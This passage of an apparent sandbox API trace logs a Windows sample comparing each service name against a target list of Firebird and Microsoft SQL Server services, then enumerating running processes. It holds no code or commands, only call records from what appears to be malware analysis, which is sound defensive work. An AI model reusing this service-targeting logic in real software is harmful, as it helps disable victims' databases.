(lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.497] lstrlenW (lpString="PcaSvc") returned 6 [0169.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.497] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.497] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.497] lstrlenW (lpString="PlugPlay") returned 8 [0169.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.497] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.497] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.497] lstrlenW (lpString="Power") returned 5 [0169.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.497] lstrlenW (lpString="ProfSvc") returned 7 [0169.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.497] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.497] lstrlenW (lpString="RpcSs") returned 5 [0169.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.498] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.498] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.498] lstrlenW (lpString="SamSs") returned 5 [0169.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.498] lstrlenW (lpString="Schedule") returned 8 [0169.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.498] lstrlenW (lpString="SecurityHealthService") returned 21 [0169.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0169.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0169.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0169.498] lstrlenW (lpString="SENS") returned 4 [0169.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.498] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.498] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.498] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.499] lstrlenW (lpString="Spooler") returned 7 [0169.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.499] lstrlenW (lpString="SSDPSRV") returned 7 [0169.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0169.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0169.499] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0169.499] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0169.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0169.499] lstrlenW (lpString="StateRepository") returned 15 [0169.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0169.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0169.499] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0169.499] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0169.499] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0169.499] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0169.503] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.504] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.505] lstrlenW (lpString="System") returned 6 [0169.505] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.506] lstrlenW (lpString="smss.exe") returned 8 [0169.506] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.506] lstrlenW (lpString="csrss.exe") returned 9 [0169.507] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.507] lstrlenW (lpString="wininit.exe") returned 11 [0169.507] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.508] lstrlenW (lpString="csrss.exe") returned 9 [0169.508] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.508] lstrlenW (lpString="winlogon.exe") returned 12 [0169.509] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.509] lstrlenW (lpString="services.exe") returned 12 [0169.509] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.510] lstrlenW (lpString="lsass.exe") returned 9 [0169.510] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.510] lstrlenW (lpString="svchost.exe") returned 11 [0169.511] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.511] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.511] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.512] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.512] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.513] lstrlenW (lpString="svchost.exe") returned 11 [0169.513] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.513] lstrlenW (lpString="dwm.exe") returned 7 [0169.513] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.514] lstrlenW (lpString="svchost.exe") returned 11 [0169.514] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.515] lstrlenW (lpString="svchost.exe") returned 11 [0169.515] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.515] lstrlenW (lpString="svchost.exe") returned 11 [0169.515] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.516] lstrlenW (lpString="svchost.exe") returned 11 [0169.516] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.517] lstrlenW (lpString="svchost.exe") returned 11 [0169.517] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.517] lstrlenW (lpString="svchost.exe") returned 11 [0169.517] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.518] lstrlenW (lpString="svchost.exe") returned 11 [0169.518] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.519] lstrlenW (lpString="svchost.exe") returned 11 [0169.519] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.519] lstrlenW (lpString="svchost.exe") returned 11 [0169.519] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.522] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.522] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.522] lstrlenW (lpString="svchost.exe") returned 11 [0169.522] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.523] lstrlenW (lpString="svchost.exe") returned 11 [0169.523] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.524] lstrlenW (lpString="audiodg.exe") returned 11 [0169.524] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0169.524] lstrlenW (lpString="sihost.exe") returned 10 [0169.524] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.525] lstrlenW (lpString="svchost.exe") returned 11 [0169.525] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.526] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.526] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0169.526] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0169.526] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0169.527] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0169.527] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.528] lstrlenW (lpString="explorer.exe") returned 12 [0169.528] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0169.528] lstrlenW (lpString="Memory Compression") returned 18 [0169.528] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0169.529] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0169.529] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0169.530] lstrlenW (lpString="SearchUI.exe") returned 12 [0169.530] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0169.530] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0169.530] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.531] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0169.531] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.532] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.532] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0169.532] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0169.532] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0169.533] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0169.533] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0169.534] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0169.534] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.534] lstrlenW (lpString="conhost.exe") returned 11 [0169.534] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0169.535] lstrlenW (lpString="screensaver.exe") returned 15 [0169.535] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0169.536] lstrlenW (lpString="upperarc.exe") returned 12 [0169.536] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0169.537] lstrlenW (lpString="buying.exe") returned 10 [0169.537] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0169.537] lstrlenW (lpString="downloadable.exe") returned 16 [0169.537] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0169.538] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0169.556] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0169.557] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0169.557] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0169.558] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0169.558] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0169.559] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0169.559] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0169.559] lstrlenW (lpString="moments.exe") returned 11 [0169.559] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0169.560] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0169.560] Process32NextW (in: 